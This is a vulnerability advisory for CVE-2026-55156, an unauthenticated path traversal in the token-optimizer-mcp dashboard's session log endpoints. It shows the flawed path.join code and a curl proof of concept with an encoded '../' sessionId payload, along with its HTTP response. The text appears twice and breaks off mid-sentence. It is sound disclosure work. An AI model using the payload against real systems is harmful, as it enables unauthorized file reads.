CVE-2026-55156

Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, the dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. This issue has been patched in version 5.1.0.

Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, the dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. This issue has been patched in version 5.1.0.

Unauthenticated Path Traversal in Dashboard Session Log API Endpoints

| Field | Value | | ---------------- | ----- | | Repository | ooples/token-optimizer-mcp | | Affected version | 5.0.1 (commit 8137147) | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | Medium | | CVSS 3.1 | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |

Summary

The dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a .jsonl file located outside the intended hooksDataPath directory with a single unauthenticated HTTP GET request.

Affected Code

src/server/web-server.ts:73–88 — /api/session-summary: unsanitized sessionId interpolated into path.join then passed to fs.readFileSync

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
        sessionId,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

src/server/web-server.ts:297–311 — /api/session-events: identical unsanitized path.join + fs.readFileSync pattern

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

req.query.sessionId flows unsanitized into path.join(hooksDataPath, \session-log-${sessionId}.jsonl`), which Node.js resolves by normalizing ..traversal sequences before thefs.readFileSync` call.

Proof of Concept

Step 1 — Send traversal payload to /api/session-events with no credentials: server returns HTTP 200 with contents of a .jsonl file outside hooksDataPath — proves unauthenticated out-of-bounds file read.

curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target"

GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1
Host: 127.0.0.1:3100
User-Agent: python-requests/2.x
Accept: */*

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]}

Impact

An unauthenticated remote attacker can read the contents of any .jsonl file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other .jsonl file reachable via .. traversal from hooksDataPath. The constraint that the resolved path must end in .jsonl limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both /api/session-summary and /api/session-events, and neither…

Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, the dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. This issue has been patched in version 5.1.0.

Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, the dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. This issue has been patched in version 5.1.0.

Unauthenticated Path Traversal in Dashboard Session Log API Endpoints

| Field | Value | | ---------------- | ----- | | Repository | ooples/token-optimizer-mcp | | Affected version | 5.0.1 (commit 8137147) | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | Medium | | CVSS 3.1 | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |

Summary

The dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a .jsonl file located outside the intended hooksDataPath directory with a single unauthenticated HTTP GET request.

Affected Code

src/server/web-server.ts:73–88 — /api/session-summary: unsanitized sessionId interpolated into path.join then passed to fs.readFileSync

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
        sessionId,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

src/server/web-server.ts:297–311 — /api/session-events: identical unsanitized path.join + fs.readFileSync pattern

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

req.query.sessionId flows unsanitized into path.join(hooksDataPath, \session-log-${sessionId}.jsonl`), which Node.js resolves by normalizing ..traversal sequences before thefs.readFileSync` call.

Proof of Concept

Step 1 — Send traversal payload to /api/session-events with no credentials: server returns HTTP 200 with contents of a .jsonl file outside hooksDataPath — proves unauthenticated out-of-bounds file read.

curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target"

GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1
Host: 127.0.0.1:3100
User-Agent: python-requests/2.x
Accept: */*

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]}

Impact

An unauthenticated remote attacker can read the contents of any .jsonl file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other .jsonl file reachable via .. traversal from hooksDataPath. The constraint that the resolved path must end in .jsonl limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both /api/session-summary and /api/session-events, and neither…